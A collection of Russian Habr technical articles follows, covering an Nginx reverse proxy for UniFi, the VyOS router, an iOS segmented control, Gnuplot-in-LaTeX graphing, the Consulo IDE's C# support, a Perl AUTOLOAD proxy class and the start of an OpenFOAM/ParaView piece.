proxy_pass https://unifi;
}
}
```
Повторюсь, что нужно заменить следующие параметры конфига:
* Путь до сертификата ssl\_certificate
* Путь до ключа сертификата ssl\_certificate\_key
* Имя сервера обоих серверов(ssl и редирект) server\_name
* Порт и адрес upstream сервера при необходимости
**Теперь self signed сертификат:**
Нам потребуются два уже знакомых файла из прошлых шагов: **unifi.crt** и **unifi.key**. Для выданного сертификата они нам не требовались, так как Nginx умненький и умеет валидировать их в бюро сертифкации. Здесь же нам придется ему явно их указать.
Конфиг Nginx:
```
upstream unifi {
server 127.0.0.1:8443;
}
server {
listen 80;
server_name unifi.domain.com;
server_tokens off;
rewrite ^ https://$http_host$request_uri?;
}
server {
listen 443 ssl;
server_name unifi.domain.com;
error_log /var/log/unifi/nginx.log;
access_log /var/log/unifi/access.log;
ssl on;
ssl_certificate /etc/nginx/ssl/server.crt;
ssl_certificate_key /etc/nginx/ssl/server.key;
ssl_ciphers ECDH+AESGCM:ECDH+AES256:ECDH+AES128:DH+3DES:!ADH:!AECDH:!MD5;
ssl_prefer_server_ciphers on;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 5m;
add_header Strict-Transport-Security "max-age=31536000" always;
server_tokens off;
proxy_ssl_verify on;
proxy_ssl_certificate /etc/nginx/ssl/unifi.crt;
proxy_ssl_certificate_key /etc/nginx/ssl/unifi.key;
proxy_ssl_trusted_certificate /etc/nginx/ssl/unifi.crt;
proxy_ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
proxy_ssl_session_reuse on;
location / {
proxy_set_header Referer "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass https://unifi;
}
}
```
Как и выше, не забываем заменять параметры конфига на свои:
* Путь до сертификата ssl\_certificate
* Путь до ключа сертификата ssl\_certificate\_key
* Имя сервера обоих серверов(ssl и редирект) server\_name
* Порт и адрес upstream сервера при необходимости
**А также**
* Путь до **unifi.crt** и **unifi.key** файлов (их можно положить куда угодно. Я бы рекомендовал сделать отдельную папку в корне Nginx, чтобы ничего не потерялось)
Теперь можно перезагрузить Nginx:
```
sudo service nginx reload
```
---
Вот и все, мы добились желаемого. Наш контроллер теперь доступен по указанному адресу.
**Картинка с результатом**
Буду рад ответить на любые вопросы и принять обратную связь.
**P.S.** Прочитав комментарии, хочу поблагодарить всех ответивших, приятно читать ваши отзывы.
Составлю мини-faq наиболее популярных вопросов:
**1.** Почему именно Nginx, а не %software\_name%?
Ответ: Компания использовала Nginx, нужно было решать задачу через него.
**2.** Как статья связана с Unifi? Это же %common\_techonology\_name%!
Ответ: Целью было написать узкий туториал конкретно для Unifi + Nginx, так как далеко не все испытывающих сложности с его настройкой могут четко сформулировать нужный им стек технологий.
|
https://habr.com/ru/post/316786/
| null |
ru
| null |
# VyOS OpenSource Router
В этой статье я хотел поднять не стандартную для меня тему о сетевом маршрутизаторе VyOS. Впервые я познакомился с этим проектом благодаря Нилу Андерсону (Neil Anderson) который составил [гайд как у себя дома развернуть мини-лабораторию с NetApp симулятором и VyOS](https://www.flackbox.com/netapp-simulator).
Ключевые проекты
----------------
[VyOS](https://vyos.io) это opensource проект на базе Debian Linux, который родился как [форк от проекта Vyatta Core Edition](https://en.wikipedia.org/wiki/VyOS) of the Vyatta Routing software. Как и любой роутер VyOS оперирует на третьем уровне OSI и маршрутизирует North-South трафик. VyOS включает в себя следующие ключевые проекты:
* Debian 8, ядро 4.19
* FRRouting (в версии 1.1 и более древних использовался Quagga)
* ISC-DHCP
* Keepalived
* StrongSwan
* OpenVPN
* PowerDNS
* Wireguard
* OpenNHRP
* Accel-ppp
* xL2tpd
* Squid
* mDNS-repeater
* IGMP-Proxy
* iPerf
* [более детальный список в Release notes](https://wiki.vyos.net/wiki/1.2.0/release_notes)
Поддерживаемые платформы
------------------------
VyOS можно разворачивать на большинстве популярных платформах в виде виртуальной машины, на голом железе или в облаке, образ занимает около 300 МБ.
### Платформы виртуализации
Как виртуальную машину VyOS можно развернуть в окружении:
* KVM
* RHEV
* VirtualBox
* Nutanix AHV
* VMWare ESXi 5.1+
* Citrix XenServer в режиме HVM
* Microsoft Hyper-V for Windows Server
* OpenStack (в планах)
### Голое железо
Роутер можно установить на голое железо, кастомные образы (в планах):
* Dell
* SuperMicro
* EdgeCore
### Облака
Как виртуальную машину в облаках:
* Amazon EC2 (Amazon Machine image on Amazon Web Services)
* Ravello
* Packet Cloud
* Microsoft Azure
* Google Cloud Platform (в планах)
* Alibaba Cloud (в планах)
### Командная строка
Как и с маршрутизаторами Cisco и Juniper в которых традиционно не используют графический интерфейс, так и VyOS управляется из командной строки. Командная строка VyOS очень напоминает синтаксис JunOS:
```
vyos@vyos# run show ip route forward
default via 203.0.113.1 dev eth1 proto static metric 20 onlink
192.168.56.0/24 dev eth0 proto kernel scope link src 192.168.56.13
203.0.113.1 dev eth1 proto static metric 20
```
Функционал и возможности
------------------------
Функционал VyOS достаточно большой и серьёзный несмотря на то, что это Opensource проект:
* VPN: Dynamic Multipoint VPN (DMVPN), GRE, IPSec, IPSec VTI, OpenVPN (server и client) и WireGuard
* Может выступать в роли VPN Remote Access Server используя L2TP или OpenVPN
* Туннели: L2TP, L2TPv3, VXLAN, PPTP, GRE, IPIP, SIT, IPIP, IPIP6, IP6IP6
* Интерфейсы L2/L3: Ethernet Bridge, 802.1Q VLAN, QinQ, Агрегация портов (LACP и статическая)
* API для работы из консоли, Python, и Perl скриптов
* Адресация маршрутизация IPv4 & IPv6:
* BGP, OSPF, OSPFv3, RIP, RIPng протоколов динамической маршрутизации
* Статическая маршрутизация и Policy-Based Routing (PBR)
* QoS для приоритизации трафика
* VyOS может работать как L2TPv3 роутер для Layer 2 связности между сайтами
* Высокая доступность: VRRP, WAN load-balancing, Conntrack-Sync, Clustering
* И естественно стандартный набор: DHCP (Сервер, Клиент и Relay), DNS recursive server, Network Address Translation (source and destination, port-address, one-to-many, many-to-many), IGMP-Proxy, NTP сервер и клиент, LLDP сервер и клиент, mDNS repeater, PPPoE server, proxy server с кэшем и фильтрацией, TFTP сервер
* Фильтрация трафика: Zone-based firewall, stateful firewall
* Политики: Shaping, Rate limiting, Priority-based queues
* Встроенный архив конфигурационных файлов
Пример поддерживаемых схем подключения и использования
------------------------------------------------------
### Branch
Одна из наиболее часто используемых схем использования VyOS это объединение нескольких отделений компании между собой, соединение с облачными провайдерами или объединение нескольких облачных провайдеров в одну сеть.
### SMB Edge
Может служить как SMB маршрутизатор предоставляя стабильный и повышенной доступности к глобальной сети Интернет благодаря. VyOS поддерживает NAT, DHCP и VRRP для повышения доступности вашего дефолтного шлюза.
### Boarder Router
VyOS может быть использован как Enterprise Border Router (BGP), один из, если не самый развитый среди динамических протоколов маршрутизации. Для этих целей VyOS может служить как внешним, так и внутренним BGP узлом (BGP-peer) предоставляя высокую стабильность и доступность в вашей сети.
### VPN Gateway
VyOS предоставляет доступ по IPSec VPN: IPSec/GRE, IPSec VTI, Dynamic Multipoint VPN (DMVPN) и OpenVPN. Site-To-Site конфигурация позволит вам соединить несколько сайтов напрямую в облако через частую защищённую сеть поверх глобальной сети Интернет, позволяя вашим пользователям и серверам взаимодействовать друг с другом. VyOS может работать как L2TPv3 маршрутизатор создав L2 сеть между сайтами.
### VPN RA Server
VyOS может быть использован как удалённый VPN сервер. Для этого вы можете использовать L2TP over IPSec так как он присутствует почти во всех современных ОС. Другой вариант использовать OpenVPN, который также интегрирован в VyOS. Использование файрволла повысит безопасность и гранулярность доступа к вашей сети.
Системные требования
--------------------
Минимальные требования VyOS к ресурсам:
* CPU: одно или несколько ядер 64-bit x86 (зависит от пропускной способности и используемого функционала). Также поддерживается ClearFog ARM платформа
* Память: 512 MB или больше (зависит от пропускной способности и используемого функционала и главным образом от размера таблиц маршрутизации)
* Сетевые интерфейсы: минимум один, максимум (столько сколько поддерживает платформа, на которой работает VyOS)
* Для достижения максимальной производительности рекомендуется использовать сетевые карты с аппаратным offloading и поддерживающие множественные очереди
Менеджмент и мониторинг
-----------------------
Управления и мониторинг:
* Разворачивание и управление: Secure Shell (SSH), Cloud-Init, python library для удалённого управления
* Управление и траблшутинг: Simple Network Management Protocol (SNMP), Syslog, NetFlow, sFlow
* Автоматизация Ansible, SaltStack
* Планировщик задач, event handling, scripting
* Встроенный архив версий конфигураций
Образы
------
VyOS можно собрать самому из исходного кода или скачать в виде собранного и оттестированного образа для вашей платформы. Начиная с версии 1.2 скачивание GA образа перестало быть бесплатным, потому что проект нужно развивать на какие-то деньги. [Rolling релизы](http://downloads.vyos.io/?dir=rolling/current/amd64) как и раньше остаются бесплатными. Но [для школ, колледжей, университетов, поликлиник и других подобных некоммерческих организаций предоставляется бесплатный доступ к GA релизам](https://blog.vyos.io/last-rc-early-production-access-and-announcement-of-educational-and-non-profit-access-subscriptions). Для контрибьютеров также предоставляется бесплатный доступ к готовым GA образам, не обязательно быть программистом, даже если вы помогаете с документацией это тоже помощь проекту. Так что получить бесплатный доступ к образам достаточно просто и легко, особенное если у вас есть бейдж Мейнтейнера, Контрибутора или Евангелиста VyOS.
Бейджи
VyOS выпустил [цифровые сертификаты](https://blog.vyos.io/contributors-contributions-and-badges?utm_content=84167604) для:
* Мейнтейнеров проекта
* Контрибуторов
* Евангелистов
* и Сетевых инженеров
Выводы
------
VyOS это проект, который построен на базе современных программ и утилит для сетевой маршрутизации, которую можно легко дополнить и изменить благодаря тому, что он является полностью 100% OpenSource. Богатый функционал и современные протоколы маршрутизации позволяют его использовать не только в домашних условиях для продвинутых пользователей, а также для больших компаний и огромных сервис провайдеров.
### Полезные ресурсы
[blog.vyos.io](http://blog.vyos.io)
[wiki.vyos.net](https://wiki.vyos.net)
[Issue tracker](https://phabricator.vyos.net/)
[slack.vyos.io](https://slack.vyos.io)
[forum.vyos.io](https://forum.vyos.io)
[github.com/vyos](https://github.com/vyos)
[twitter.com/vyos\_dev](https://twitter.com/vyos_dev)
[LinkedIn](https://www.linkedin.com/company/vyos)
[Facebook](https://www.facebook.com/vyosofficial/)
[YouTube](https://www.youtube.com/channel/UCEjJx6j87szaiqtKDrMVb2Q)
[VyOS Roadmap](https://trello.com/b/KhGDOsmr/vyos-public-roadmap)
[Rolling Релизы](http://downloads.vyos.io/?dir=rolling/current/amd64)
### Другие статьи на Хабре
[Программная маршрутизация с VyOS](https://habr.com/ru/company/selectel/blog/248907/)
[Эмулятор UNetLab — революционный прыжок](https://habr.com/ru/post/262027/)
[Vyatta: Linux-based firewall and router](https://habr.com/ru/post/40648/)
[Интернет на теплоходе: спутниковая тарелка + модемы + балансировщик + Wi-Fi](https://habr.com/ru/company/beeline/blog/128701/)
[Ubiquiti EdgeRouter X](https://habr.com/ru/company/comptek/blog/255391/)
Сообщения по ошибкам в тексте прошу направлять в ЛС. Замечания, дополнения и вопросы по статье напротив, прошу в комментарии.
|
https://habr.com/ru/post/435568/
| null |
ru
| null |
# Segmented Control своими руками, как в iOS 13.0 и выше
В iOS 13 обновили Segmented Control, но для тех кто не может обновить Xcode, он просто не доступен. Вот я и решил написать, как можно быстро сделать самому такой же Segmented Control.
Поехали!
Первым делом переходим в Storyboard. Размещаем на нашем ViewController элемент View.
Закрепляем его констрейнтами как вам угодно и в каком месте он вам нужен.
Закрашиваем фон и ставим галочку clip to Bounds.
Берем еще одно View и размещаем его внутри нашего первого View. Только обязательно посмотрите что он был внутри вашего первого View. Он должен быть размещен в лестничном порядке.
Далее закрепляем его констрейнтами с отступом в 2 pix со всех сторон.
И он будет размещен внутри вашего первого вью как на фото ниже.
Далее выделяем наш белый View который внутренний. Выбираем leading и traling констрейн, и меняем у них Priority на 750.
Теперь создаем у данного View еще два констрейнта с лева и справа с отступом 0 pix
Так же переходим в редактирование данных констрейнтов которые мы создали только что и меняем у них Priority = 900 и закрепляем их не от краев нашего серого View, а ставим относительно центра и если вы все сделаете правильно то ваш белый View соберется линией в центре.
Теперь выбираем два Button и размещаем их внутри серого вью, но они должны быть по иерархии в самом внизу что бы текст их далее не перекрывался нашим белым вью когда мы будем его двигать. Закрепляем наши кнопки по центру относительно своей половины.
Все. Tеперь соединяем наши элементы с сториборд с ViewController.
Серый View я назвал — fonView.
Белый View назвал — blockView.
Так же две кнопки buttonOne и buttonTwo и создал у них action.
Еще в наш код перетягиваем два констрейнта которые мы сделали с priority 750. Назовем их:
```
@IBOutlet weak var checkButtonOne: NSLayoutConstraint!
@IBOutlet weak var checkButtonTwo: NSLayoutConstraint!
```
В viewDidLoad мы прописываем только закругление наших View и один констрейн делаем равным priority 950 что бы белое вью не было в середине как линия, а выглядела как выбранный сегмент.
```
override func viewDidLoad() {
super.viewDidLoad()
fonView.layer.cornerRadius = 10
blockView.layer.cornerRadius = 9
checkButtonOne.priority = UILayoutPriority(rawValue: 950)
}
```
Финишная прямая. В action button мы прописываем такой код. суть в том что мы меняем наши приоритеты и вью увеличивается на нужные размеры и делаем обновление наших констрейнтов анимированно.
```
@IBAction func buttonOne(_ sender: UIButton) {
checkButtonOne.priority = UILayoutPriority(rawValue: 950)
checkButtonTwo.priority = UILayoutPriority(rawValue: 750)
UIView.animate(withDuration: 0.5) {
self.view.layoutIfNeeded()
}
}
@IBAction func buttonTwo(_ sender: UIButton) {
checkButtonOne.priority = UILayoutPriority(rawValue: 750)
checkButtonTwo.priority = UILayoutPriority(rawValue: 950)
UIView.animate(withDuration: 0.5) {
self.view.layoutIfNeeded()
}
}
```
Это все! Проверяем!
|
https://habr.com/ru/post/469951/
| null |
ru
| null |
# Оформление научных результатов: интеграция LaTeX и Gnuplot
> *«Если ваш единственный инструмент — молоток, то каждая проблема становится похожей на гвоздь»
>
>
>
> Абрахам Маслоу*
>
>
Введение
========
Научное творчество само по себе процесс не тривиальный, требующий некоторого отрешения от внешнего мира. И нелинейный в плане распределения интенсивности во времени — порой проболтаешься впустую полгода, чтобы потом, в течение месяца-полутора решить большую часть беспокоящих тебя вопросов.
И вот, ты на 100% использовал возможности посетившей тебя «эврики», закончил основную работу и пришла пора опубликовать свои результаты в журнале, доложить их на конференции, да и просто порадовать своего научного руководителя/консультанта красивым отчетом. И ты приступаешь к мучительной фазе оформления статьи/доклада/отчета. И насколько мучительной будет эта фаза, зависит от того, какие инструменты ты решил использовать для этой работы.
Вспоминаю времена, когда молодым и глупым аспирантом, я писал первый вариант кандидатского «кирпича», предназначенный для тщательного «вычитывания» мной и моим научным руководителем. Тогда я не знал о формате EPS, а поэтому экспортировал графики, построенные в Maple в \*.bmp-растр и вручную… обводил их в MS Visio для последующей вставки в Word. Были и другие, не менее топорные глупости. Не удивительно, что тогда я проклял всё, и дал себе слово следующую диссертацию писать совершенно по другому.
Путем последовательных итераций, на сегодняшний день я пришел к такому вот решению:
И настало время отдать накопленный опыт людям. Интересующимся, добро пожаловать под кат.
1. Gnuplot: что такое и с чем едят
==================================
Думаю, я не открою Америку, и читатель знаком с данной утилитой. Чтобы долго не рассказывать о ней, я приведу ряд ссылок, прежде всего на [официальный сайт проекта](http://www.gnuplot.info/), понижающие порог вхождения [«Записки дебианщика»](http://mydebianblog.blogspot.ru/2006/08/gnuplot.html), а так же [весьма полезный ресурс с многочисленными примерами](http://www.gnuplotting.org/), ну и весьма неплохо оформленный [FAQ на русском языке](http://gnuplot.ikir.ru/). Это поможет быстро войти в курс дела, тем, кто ещё не пробовал данный инструмент в работе.
Если коротко — **Gnuplot** — мощная утилита для построения графиков, заданных аналитическими зависимостями, таблично (экспериментальные данные и данные численного моделирования), поддерживающая командный режим работы и написание скриптов. Пользователям Linux достаточно установить пакет из репозиторя своего дистрибутива, пользователи Windows и OS X тоже могут установить данную утилиту, руководствуясь инструкцией на официальном сайте. Я же буду излагать, всё запланированное к изложению, на примере Linux.
Набираем в командной строке:
```
$ gnuplot
G N U P L O T
Version 4.6 patchlevel 6 last modified September 2014
Build System: Linux x86_64
Copyright (C) 1986-1993, 1998, 2004, 2007-2014
Thomas Williams, Colin Kelley and many others
gnuplot home: http://www.gnuplot.info
faq, bugs, etc: type "help FAQ"
immediate help: type "help" (plot window: hit 'h')
Terminal type set to 'qt'
gnuplot>
```
Получая приглашение к вводу команд. Вводим, ну, например:
```
plot x**3 title 'Кубическая парабола y = x^3'
```
И получаем:
Когда я увидел это впервые, я тоже сказал «Фууу...!» Это результат, полученный по умолчанию, и выглядит он как-то не солидно. Так никто не мешает его доработать. Прежде всего изменим цвет и толщину линии графика.
```
gnuplot> set style line 1 lt 1 lw 3 lc rgb '#4682b4' pt -1
plot x**3 title 'Кубическая парабола y = x^3' ls 1
```
Сделаем «школьные» оси, с точкой пересечения в начале координат, рисованные сплошными линиями
```
gnuplot> set xzeroaxis lt -1
gnuplot> set yzeroaxis lt -1
gnuplot> replot
```
Добавим сетку — пунктирные линии серого цвета:
```
gnuplot> set grid xtics lc rgb '#555555' lw 1 lt 0
gnuplot> set grid ytics lc rgb '#555555' lw 1 lt 0
```
Перенесем метки оси к самим осям поближе:
```
gnuplot> set xtics axis
gnuplot> set ytics axis
```
Изменим диапазон изменения аргумента:
```
gnuplot> set xrange [-3:3]
```
И в конечном итоге получим вот это:
Что намного лучше первоначального варианта. Возможности кастомизации графиков просто шикарны, подробнее об этом можно прочесть по вышеприведенным ссылкам. Весь текст изложенный выше, предназначен для затравки, а речь пойдет о
2. Gnuplottex: интеграция графиков в документы LaTeX
====================================================
Gnuplottex — пакет, входящий в поставку TeXlive, позволяющий вводить команды Gnuplot прямо в верстаемом документе. Не отвлекаясь на теоретизирование, приступим непосредсвенно к практике. Создадим новый документ
```
\documentclass[12pt]{article}
% Подключаем всяко-разное, задаем кодировку, язык и прочие параметры по вкусу
\usepackage[OT1,T2A]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage[english,russian]{babel}
\usepackage{amsmath,amssymb,amsfonts,textcomp,latexsym,pb-diagram,amsopn}
\usepackage{cite,enumerate,float,indentfirst}
\usepackage{graphicx,xcolor}
% Порядку для задаем размер полей страницы, дальше это нам пригодится
\usepackage[left=2cm, right=2cm, top=2cm, bottom=2cm]{geometry}
% Включаем Gnuplottex
\usepackage{gnuplottex}
\begin{document}
\section{Построение графиков Gnuplot в документе \LaTeX}
\end{document}
```
**ВНИМАНИЕ!** Сборка документа должна выполнятся с ключем **-shell-escape**, включающим возможность выполнения команд оболочки, либо так:
```
$ pdflatex -shell-escape gnuplottex_rus.tex
```
Либо задать этот ключик в настройках IDE (у меня это Kile):
Теперь, в теле документа будем ваять наш график:
```
\begin{figure}[h]
\centering
\begin{gnuplot}
plot x**3 title 'Кубическая парабола $y = x^3$'
\end{gnuplot}
\end{figure}
```
После сборки получая:
Заметили что тут самое «вкусное»? Формула в подписи к графику выглядит по-человечески — вся мощь LaTeX в вашем полном распоряжении. А теперь допилим это дело напильничком:
```
\begin{figure}[h]
\centering
\begin{gnuplot}
set terminal epslatex color size 12cm,15cm
set xzeroaxis lt -1
set yzeroaxis lt -1
set style line 1 lt 1 lw 4 lc rgb '#4682b4' pt -1
set grid ytics lc rgb '#555555' lw 1 lt 0
set grid xtics lc rgb '#555555' lw 1 lt 0
set xrange [-3:3]
plot x**3 title '$y = x^3$' ls 1
\end{gnuplot}
\end{figure}
```
Особо отметим команду:
```
set terminal epslatex color size 12cm,15cm
```
Задающую тип терминала: EPS LaTeX с поддержкой цветного вывода; и его размер 12 х 15 см — ваш рисунок и есть этот терминал. В итоге получаем график
Слегка изменим код, добавив еще один стиль линий и график:
```
set style line 2 lt 1 lw 4 lc rgb '#aa0000' pt -1
.
.
.
plot x**3 title '$y = x^3$' ls 1, \
x**4 title '$y = x^4$' ls 2
```
Видно, что нет принципиальной сложности в использовании рассматриваемой технологии. Можно добавить сюда же и трехмерный график:
```
\begin{figure}[h]
\centering
\begin{gnuplot}
set terminal epslatex color size 12cm,12cm
splot x**2 + y**3 with lines title '$z = x^2 + y^3$'
\end{gnuplot}
\caption{Трехмерный график сеткой}
\end{figure}
```
Изменяем схему отображения с сетки на цветные полигоны:
```
splot x**2 + y**3 with pm3d title '$z = x^2 + y^3$'
```
Настройку внешнего вида, выбор палитры — всё это можно почерпнуть из документации к Gnuplot, а мы переходим к следующему пункту программы
3. Построение графиков из файлов данных
=======================================
В этом главная мощь данного инструмента. Пусть у вас имеется текстовый файл с данными, сформироваными следующим образом:
```
# x y1 y2
0 0 0
1 1 1
2 4 8
3 9 27
4 16 64
```
Первая колонка, например аргумент, вторая и третья — значения некоторых функций. Это может быть результат натурного эксперимента, или результат численного моделирования. Построение двухмерного графика будет выглядеть так:
```
plot '<имя файла с данными>' using <колонка аргумента>:<колонка функции> title '<легенда>'
```
Колонки нумеруются начиная с единицы. Дабы не было скучно, приведу пример из своих документов. Создам в папке с данным учебным проектом каталог **results/** и помещую туда файл с результатами численного эксперимента **2319.log** (тут своя специфика именования логов...). Затем добавлю в наш проект такой код:
```
\begin{figure}
\centering
\begin{gnuplot}
set terminal epslatex color size 17cm,8cm
set xzeroaxis lt -1
set yzeroaxis lt -1
set xrange [0:20]
set style line 1 lt 1 lw 4 lc rgb '#4682b4' pt -1
set style line 2 lt 1 lw 4 lc rgb '#ee0000' pt -1
set style line 3 lt 1 lw 4 lc rgb '#008800' pt -1
set style line 4 lt 1 lw 4 lc rgb '#888800' pt -1
set style line 5 lt 1 lw 4 lc rgb '#00aaaa' pt -1
set style line 6 lt 1 lw 4 lc rgb '#cc0000' pt -1
set grid xtics lc rgb '#555555' lw 1 lt 0
set grid ytics lc rgb '#555555' lw 1 lt 0
set xlabel '$t$, c'
set ylabel '$P$, кН'
set key bottom right
plot 'results/2319.log' using 1:3 with lines ls 2 ti '$P_2$', \
'results/2319.log' using 1:9 with lines ls 4 ti '$P_9$', \
'results/2319.log' using 1:19 with lines ls 5 ti '$P_{19}$',\
'results/2319.log' using 1:29 with lines ls 1 ti '$P_{29}$',\
'results/2319.log' using 1:49 with lines ls 3 ti '$P_{49}$', \
'results/2319.log' using 1:54 with lines ls 6 ti '$P_{53}$'
\end{gnuplot}
\caption{Продольные силы в различных сечениях поезда}
\end{figure}
```
Команда:
```
set key bottom right
```
Помещает легенду в правый нижний угол поля графика, чтобы она не мешалась сверху и справа. Кроме того, команды Gnuplot и их параметры можно сокращать до степени однозначного трактования написания, как в этом примере: ti => title.
А теперь представьте себе, что вы сверстали диссертацию, но в последний момент вам понадобилось подставить другие результаты тех же самых измерений. Не надо переверстывать графики — подмените файл результатов и пересоберите проект. Всё! Ваша верстка никуда не денется. Пять минут дела, если изменение данных не ведет к далеко идущим научным выводам.
И последнее — если вы помещаете график на слайд Beamer, то окружение слайда должно содержать опцию **fragile**, иначе вас ждет ошибка компиляции. Вот так:
```
\begin{frame}[fragile]
%
% Содержимое слайда
%
\end{frame}
```
Заключение
==========
Изучение вопроса заняло у меня весь вчерашний вечер. Презентацию пришлось верстать уже ночью, но я успел и сегодня успешно доложится (отчет по первому году докторантуры). В душе осталось теплое ощущение от возможности открытых технологий, помогающих в научном труде. По какому пути идти, каждый выбирает для себя сам. Статья носит обзорный характер и освещает только вопросы необходимые для быстрого старта. Остальное легко можно почерпнуть из документации.
Документ, созданный в примере, можно забрать [здесь](https://github.com/maisvendoo/gnuplot_example)
Успехов в научном труде, и спасибо за внимание к моему.
|
https://habr.com/ru/post/250087/
| null |
ru
| null |
# Consulo — IDE где Java и C# живут вместе
Здравствуйте. Прошло много времени после моих постов на хабре ([тык](http://habrahabr.ru/post/215203/), [тык](http://habrahabr.ru/post/221669/)) на тему Consulo. Ниже расскажу, что изменилось за это время.
Для тех, кто пропустил мои посты:
> [Consulo](https://github.com/consulo) — это форк IntelliJ IDEA Community Edition, который имеет поддержку .NET(C# на текущий момент), Java, Javascript(NodeJS), и многое другое. Проект собрал множество открытых плагинов в себе. При этом код остался открытым.
Хотелось бы уточнить. Пока что **Consulo** не годится для работы в Production, все развивается очень медленно и силами одного человека (то есть меня).
Но посмотрите, чего я добился.
**Сравнения реализации Java & C# на простом примере (внимания две больших гифки)**Java:
C# (Mono):
**MSIL**:
С самого начала написания поддержки C# декомпиляция была только в C# код. Спустя время я понял, что это очень плохо (выходит, C# был на верхушке языковой пирамиды .NET, хотя, по сути, он имеет те же права, что и Java (ikvm.net), nemerle, vb). Эта проблема заставляла изобретать некоторые велосипеды. Плюс, это сильно влияло на перфоманс (поиск внутри библиотеки занимал много времени).
Плагину уже было полгода, переделывать было для меня сильно накладно. Но, я взвесил все за и против. И решился. Объём работ вы можете увидеть в ПуллРеквесте на Гитхабе:
[github.com/consulo/consulo-dotnet/pull/6](https://github.com/consulo/consulo-dotnet/pull/6)
91 коммит — 3 дня. Реализация дала очень много. Доволи сильно выросла скорость поиска внутри бинарного кода и появилась возможность посмотреть MSIL код (без инструкций, пока для меня это не приоритет):
**Configuration Profiles**
Так как IDEA, не имеет встроенной поддержки профилей, была сделана убогая реализация внутри самого .NET плагина:
Но это создало много багов для плагинов, которые зависят от .NET (например, NUnit, IronPython). Была ещё проблема с зависимостями. Например, если у нас проект для Microsoft .NET & Mono .NET и используется, например, Apache Thrift либа, проблема в том, что билды нужны разные, и подключить 2 библиотеки было невозможно.
Выход был один — переписать внутри самой Консулы. Я долго тянул эту задачу, но решил всё-таки сделать. При этом плагины аля Haxe / Google Go/ Java (и прочие) получили возможность смены конфигураций, которая была не возможная внутри IDEA.
**Debugger**
Пока что я не обзавелся Microsoft дебаггером (есть предложения как сделать, но нет рук). Но при этом я улучшаю Mono .NET дебаггер. За это время я исправил много багов. Были исправлены разные проблемы, например, когда дебаггер не мог приаттачится к приложению. Была исправлена работа с вложенными классами.
**NUnit**
Самой главной проблемой было как подгрузить NUnit со своим логгером. В итоге был написан [dotnet-loader](https://github.com/consulo/dotnet-loader). Он подгружает указанный модуль (.exe файл), нужную dll-ку и вызывает нужный метод из класса. Как оказалось, это универсальный способ, и он пригодился мне для **NAnt**(до этого я имел форк NAnt).
[NAnt расширения](https://github.com/consulo/nant-ext)
[NUnit расширения](https://github.com/consulo/nunit-ext)
**Пример настройки и работы NUnit**
**Mono vs Windows**
За все время работы с Mono я увидел много багов. Например, NUnit (как и Windows.Forms) не работают. Баг этот есть в версии **3.2**. Как оказалось, баг исправлен (в 3.6) — только вот прикол, официально билдов для Windows нет. Для MacOS есть билд **3.6**.
`Unhandled Exception:
System.TypeInitializationException: An exception was thrown by the type initializer for System.Windows.Forms.WindowsFormsSynchronizationContext ---> System.TypeInitializationException: An exception was thrown by the type initializer for System.Windows.Forms.ThemeEngine ---> System.TypeInitializationException: An exception was thrown by the type initializer for System.Windows.Forms.ThemeWin32Classic ---> System.TypeInitializationException: An exception was thrown by the type initializer for System.Drawing.KnownColors ---> System.TypeInitializationException: An exception was thrown by the type initializer for System.Drawing.GDIPlus ---> System.DllNotFoundException: /tmp/install/lib/libgdiplus.so`
IKVM.NET — также сломан. Первое — это неправильное расположения .exe файла в отношении к его либам. Второе — кто-то забыл добавить Preprocessor Variable **MONO** во время компиляции **ikvmc.exe**. Ужас.
**...**
Описывать разные вещи можно долго. Я не только занимаюсь C# плагином (включая .NET). Сегодня, например, закрыл пока что Composite Formatting. Позднее улучшу, но нужна поддержка **External Attributes**.
Есть тесты в сторону NodeJS (дебаг уже есть) и JavaScript (плагин также есть).
|
https://habr.com/ru/post/235107/
| null |
ru
| null |
# Perl: Централизованный вызов классов и методов. Из одного отдельно взятого класса.
Идея вот в чем: если, скажем, вы в процессе работы используете определенное окружение, какие-нибудь классы и модули, то может случиться так, что вы захотите, прямо-таки, возжелаете, использовать какой-нибудь класс-проводник между привычными классами и непосредственно вами.
Тут даже можно придумать несколько положительных моментов в этом. Например, вы не подключаете все классы в каждом скрипте, создавая в шапке кода стройную колонку из привычных «use». Ну, как бы, экономим место. Еще можно придумать так: вы используете не прямое подключение к классу и вызов его методов производите через класс-проводник, что вам не мешает заменить один класс другим и даже не заметить разницы. Конечно, в том случае, если методы будут совпадать в обоих классах :-)
Так или иначе, должно получиться что-то вроде этого:
`my $name = $myClass->cgi->param( 'name' );
my $date = $myClass->date->get_local_date();`
То есть, ваш класс-проводник обращается к псевдониму, внутреннему своему предтавлению нужного класса. Вот как-то так, в общем…
Для этого в нашем классе-проводнике мы организуем хэш-таблицу представлений нужных классов:
`my $classes = { cgi => CGI, date => My::Date::Module };`
По сути, первое звено в цепочке $myClass->cgi->param — это метод. Метод, которого нет и не будет в нашем классе-проводнике, по той простой причине, что это вообще удивительно — писать груду методов для использования классов. Мы будем использовать то, что дает нам Perl — метод AUTOLOAD, который вызывается в том случае, если метод класса не найден. Соответственно, сам вызыванный метод находится в переменной $AUTOLOAD:
`sub AUTOLOAD {
my $self = shift;
$self->{$sub} = $classes->{$sub}->new unless $self->{$sub};
return $self->{$sub};
}`
Этот метод всего лишь создает экземпляр класса, если он не создан или просто возвращает его обратно, если он уже есть.
У такого метода есть ряд недостатков. Например, не понятно до конца, зачем он нужен =) Шучу. Это может пригодиться. Но не в тех случаях, когда у нужного вам класса в конструкторе содержится масса полезных настроек, которые вы часто меняете. А в остальном — прикольно.
|
https://habr.com/ru/post/51652/
| null |
ru
| null |
# Моделируем процессы в OpenFOAM и отображаем результаты в веб
В статье я расскажу, как можно просто, быстро и дёшево собрать свой пакет моделирования задач гидродинамики в облаке. Сделаю я это с помощью комбинации двух инструментов: средства численного моделирования механики сплошных сред OpenFOAM, а также набора инструментов визуализации массивов данных ParaView.
